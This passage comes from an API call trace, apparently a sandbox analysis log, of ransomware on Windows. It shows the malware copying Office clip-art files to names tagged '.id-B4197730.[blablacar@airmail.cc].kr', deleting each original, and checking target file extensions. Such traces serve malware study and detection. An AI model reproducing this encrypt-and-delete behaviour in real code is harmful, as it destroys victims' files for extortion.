dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.024] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.024] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0194.025] GetLastError () returned 0x0 [0194.025] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0194.026] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xf80, lpOverlapped=0x0) returned 1 [0194.028] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.028] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.028] SetEndOfFile (hFile=0x378) returned 1 [0194.028] CloseHandle (hObject=0x378) returned 1 [0194.028] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.028] SetEndOfFile (hFile=0x53c) returned 1 [0194.031] CloseHandle (hObject=0x53c) returned 1 [0194.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0194.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.032] lstrlenW (lpString=".doc") returned 4 [0194.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.032] lstrlenW (lpString=".docx") returned 5 [0194.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.032] lstrlenW (lpString=".pdf") returned 4 [0194.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.032] lstrlenW (lpString=".xls") returned 4 [0194.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.032] lstrlenW (lpString=".xlsx") returned 5 [0194.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.032] lstrlenW (lpString=".ppt") returned 4 [0194.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.032] lstrlenW (lpString=".zip") returned 4 [0194.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.032] lstrlenW (lpString=".rar") returned 4 [0194.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".bz2") returned 4 [0194.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".7z") returned 3 [0194.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString=".dbf") returned 4 [0194.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString=".1cd") returned 4 [0194.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString=".jpg") returned 4 [0194.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString=".doc") returned 4 [0194.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".docx") returned 5 [0194.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.033] lstrlenW (lpString=".pdf") returned 4 [0194.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".xls") returned 4 [0194.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.033] lstrlenW (lpString=".xlsx") returned 5 [0194.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.033] lstrlenW (lpString=".ppt") returned 4 [0194.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.033] lstrlenW (lpString=".zip") returned 4 [0194.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.034] lstrlenW (lpString=".rar") returned 4 [0194.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString=".bz2") returned 4 [0194.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString=".7z") returned 3 [0194.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.034] lstrlenW (lpString=".dbf") returned 4 [0194.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.034] lstrlenW (lpString=".1cd") returned 4 [0194.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0194.034] lstrlenW (lpString=".jpg") returned 4 [0194.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.034] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.034] lstrlenW (lpString="FD01193_.WMF") returned 12 [0194.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.035] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1160) returned 1 [0194.035] CloseHandle (hObject=0x53c) returned 1 [0194.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0194.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.036] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.036] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0194.036] GetLastError () returned 0x0 [0194.036] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x488, lpOverlapped=0x0) returned 1 [0194.038] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x490, lpOverlapped=0x0) returned 1 [0194.039] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.039] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.040] SetEndOfFile (hFile=0x378) returned 1 [0194.040] CloseHandle (hObject=0x378) returned 1 [0194.040] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.040] SetEndOfFile (hFile=0x53c) returned 1 [0194.043] CloseHandle (hObject=0x53c) returned 1 [0194.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0194.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.157] lstrlenW (lpString=".doc") returned 4 [0194.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.157] lstrlenW (lpString=".docx") returned 5 [0194.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.157] lstrlenW (lpString=".pdf") returned 4 [0194.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.157] lstrlenW (lpString=".xls") returned 4 [0194.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.157] lstrlenW (lpString=".xlsx") returned 5 [0194.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.157] lstrlenW (lpString=".ppt") returned 4 [0194.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.157] lstrlenW (lpString=".zip") returned 4 [0194.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.158] lstrlenW (lpString=".rar") returned 4 [0194.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString=".bz2") returned 4 [0194.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString=".7z") returned 3 [0194.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.158] lstrlenW (lpString=".dbf") returned 4 [0194.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.158] lstrlenW (lpString=".1cd") returned 4 [0194.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.158] lstrlenW (lpString=".jpg") returned 4 [0194.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.158] lstrlenW (lpString=".doc") returned 4 [0194.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString=".docx") returned 5 [0194.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.158] lstrlenW (lpString=".pdf") returned 4 [0194.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.158] lstrlenW (lpString=".xls") returned 4 [0194.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.158] lstrlenW (lpString=".xlsx") returned 5 [0194.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.158] lstrlenW (lpString=".ppt") returned 4 [0194.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.159] lstrlenW (lpString=".zip") returned 4 [0194.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.159] lstrlenW (lpString=".rar") returned 4 [0194.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.159] lstrlenW (lpString=".bz2") returned 4 [0194.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.159] lstrlenW (lpString=".7z") returned 3 [0194.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.159] lstrlenW (lpString=".dbf") returned 4 [0194.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.159] lstrlenW (lpString=".1cd") returned 4 [0194.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0194.159] lstrlenW (lpString=".jpg") returned 4 [0194.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.159] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.159] lstrlenW (lpString="FD01548_.WMF") returned 12 [0194.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.250] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10316) returned 1 [0194.250] CloseHandle (hObject=0x548) returned 1 [0194.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0194.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.254] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.254] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.254] GetLastError () returned 0x0 [0194.254] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x284c, lpOverlapped=0x0) returned 1 [0194.256] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2850, lpOverlapped=0x0) returned 1 [0194.258] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.258] SetEndOfFile (hFile=0x3f8) returned 1 [0194.258] CloseHandle (hObject=0x3f8) returned 1 [0194.258] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.258] SetEndOfFile (hFile=0x548) returned 1 [0194.261] CloseHandle (hObject=0x548) returned 1 [0194.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0194.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.263] lstrlenW (lpString=".doc") returned 4 [0194.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.263] lstrlenW (lpString=".docx") returned 5 [0194.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.263] lstrlenW (lpString=".pdf") returned 4 [0194.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.263] lstrlenW (lpString=".xls") returned 4 [0194.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.263] lstrlenW (lpString=".xlsx") returned 5 [0194.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.263] lstrlenW (lpString=".ppt") returned 4 [0194.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.263] lstrlenW (lpString=".zip") returned 4 [0194.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.263] lstrlenW (lpString=".rar") returned 4 [0194.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.263] lstrlenW (lpString=".bz2") returned 4 [0194.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.263] lstrlenW (lpString=".7z") returned 3 [0194.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString=".dbf") returned 4 [0194.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString=".1cd") returned 4 [0194.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString=".jpg") returned 4 [0194.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString=".doc") returned 4 [0194.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString=".docx") returned 5 [0194.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.264] lstrlenW (lpString=".pdf") returned 4 [0194.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString=".xls") returned 4 [0194.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.264] lstrlenW (lpString=".xlsx") returned 5 [0194.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.264] lstrlenW (lpString=".ppt") returned 4 [0194.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.264] lstrlenW (lpString=".zip") returned 4 [0194.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.264] lstrlenW (lpString=".rar") returned 4 [0194.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.264] lstrlenW (lpString=".bz2") returned 4 [0194.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.265] lstrlenW (lpString=".7z") returned 3 [0194.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.265] lstrlenW (lpString=".dbf") returned 4 [0194.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.265] lstrlenW (lpString=".1cd") returned 4 [0194.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0194.265] lstrlenW (lpString=".jpg") returned 4 [0194.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.265] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.265] lstrlenW (lpString="FD01657_.WMF") returned 12 [0194.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.266] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=30414) returned 1 [0194.266] CloseHandle (hObject=0x548) returned 1 [0194.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0194.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.271] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.271] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.271] CreateFileW 